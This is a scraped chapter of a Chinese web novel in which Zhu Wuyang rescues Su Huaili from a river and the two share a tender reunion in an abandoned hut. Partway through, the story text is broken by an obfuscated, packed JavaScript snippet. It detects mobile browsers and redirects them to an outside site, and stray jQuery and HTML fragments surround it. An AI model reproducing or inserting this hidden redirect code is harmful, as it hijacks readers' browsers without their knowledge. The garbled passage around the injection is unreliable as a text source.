意昭昭 作品

96. 大难不死(第2页)

    河底幽深不可见底,冰冷的河水浸入皮肤,恍若数万根细针扎进毛孔。

    他身上还未愈合的伤口骤然撕裂,如同绽开无数个小血花。

    忍着颅内的剧痛,迎着凌迟般的撕裂感和刺骨的河水,祝无恙强行让自己睁开双眼。

    人在冰冷的河水容易迅速失温痉挛,上游距离下游不过数里,若他是苏怀黎,一定会在破晓之前,寻一处河岸爬上。

    暗夜翻滚,直至天际乍破,一道亮光将天青色的苍穹撕开。

    祝无恙被河浪席卷到岸上,他面色惨白到几近泛紫,浑身震痛难忍,浑浊的血液顺着湿透的衣袍滴在河岸的砂砾上。

    环顾四周,岸上一片荒芜,唯独不远处有座破败的草屋。

    他狠狠掐住受伤的右臂,在剧痛下方能清醒一些,而后顺着河岸边斑驳的血痕踉跄地往前走。

    血迹停在了一扇破旧的木门前,他撞开木门,只见苏怀黎一身斑驳破碎,倒在杂草堆上,不省人事。

    *

    祝无恙褪下湿冷的长袍,搭在篝火旁的木架上,怀中的少女体温低如冰窖,他用烘烤得温暖干燥的衣裳将她紧紧裹住,试图用自己的体温捂热冰凉的身体。

    怀中的人儿脸上竟无一丝血色,比她生病时还要严重,他心如刀绞,一滴滚烫的热泪沿着直挺的鼻峰滚落,落在了她的脸颊上。

    苏怀黎恍惚中掀开厚重的眼皮,长而浓密的睫羽轻轻翕动,模糊间看到抱着她的人。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786011|163872||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    p>

    她抬起沉重的手臂,伸出手指轻轻地点在他的眉骨中心。

    眉心间感受到冰凉的指尖,祝无恙黑瞳猝然紧缩,一双黑眸盛满了失而复得的无措和震惊。

    “你失血过多昏迷,目下刚刚苏醒,就不要乱动了。”

    祝无恙嗓音轻颤,嶙峋的喉骨随之震动,他虽是在劝她,但口吻小心翼翼,含着无尽的温柔缱绻。

    她的指尖还停留在他坚硬的眉骨上,顺着他直挺的鼻梁一路往下,来到那张她亲吻过无数次的唇瓣。

    “不,让我好好摸摸你。”

    她的嗓音不可避免的干涸嘶哑,许是在落水时猝不及防吞下河中的砂砾,轻轻咽一下唾沫,便传来灼烧般的疼痛。

    当她意识到这一点后,便不再说话。

    一双清眸细细地看着面前这人,用目光和指尖描绘他轮廓分明的脸庞。

    两人已有两个月未见了。

    落水那一刻,她的脑中只有一个想法,她不能入京,她要活着爬出这河底深渊。

    河底藤蔓丛生,稍不留神便被水草缠住了小腿,是折花剑救了她一命,只可惜剑身坠入河底,怕是再也寻不回了。

    小腿连同水草一同被剑刃划破,腿心的剧痛如坠千斤,水底的窒息感让她几近昏厥过去。

    她拼了命往岸上游,她太想他了,哪怕是死,也要死在他身边。

    她不想再像上一世那般,满含遗憾地离开人世。

    幸好,大难不死。

    她轻轻扯动右腿,瞬间传来钻心剜骨之痛,祝无恙连忙制止了她的动作。

    他眉心紧蹙,心弦猝然紧绷:“小腿上的伤已经包扎好了,切勿乱动。”

    他寻到她时,人倒在一滩血泊之中,后背被河岸的礁石磨得血迹斑斑,最严重的是小腿处,一道触目惊心的剑伤血流不止。

    他险些以为人已经休克了,颤抖着将人护在怀中,甚至不敢去探她的呼吸。

    苏怀黎喉间发疼,忍不住轻咳一声,不小心牵扯到了身后的伤口。

    “你……你是如何寻到我的?”她颤着声音问。

    她落水前,特意将簪子掉落在河岸边,便是抱着一线生机,希望有人能发现她的踪迹。

    祝无恙叹了一息,低下头在她的发旋处落下一吻:“落水前,我想着,若在河底寻到你的尸体,我便留在河底陪你,只希望日后被人打捞起,能将你我二人葬在一处。”

    苏怀黎心尖猛然颤动:“你简直胡闹。”

    他闷笑一声,胸腔传来震颤:“和你学的。”

    他想着,若上天眷恋,说不定还能再活一世,与她再做一世夫妻。

    上天待他不薄,让两人都活了下来。

    两人所在之地是一处荒废依旧的茅草屋,虽破败,但也可短暂地抵挡风霜。

    苏怀黎就在他怀中,一抬头便能看见他的脸,心间从所未有的安宁。

    她面色虽憔悴,但眼眸却异常闪烁,目若点漆,晶亮如星辰。

    他被瞧着心尖口无端地升起一丝痒意,锋锐的喉结缓缓滑动,垂眸看她:“可是饿了?”

    昏迷期间,他给她渡了一些温水,但此地荒芜人烟,一时半会还未寻到充饥的野果。

    苏怀黎轻轻摇了摇头,目光移至紧抿的双唇:“我想吻你。”

    她从未如此直白地表达过自己的欲望,祝无恙胸腔倏忽一热,瞳孔微颤。

    她想要吻他,抬起脖颈方能够到,可他不想让她费力。

    须臾后,他喟叹一声,低下头颅,用双唇轻轻封住了她的唇瓣。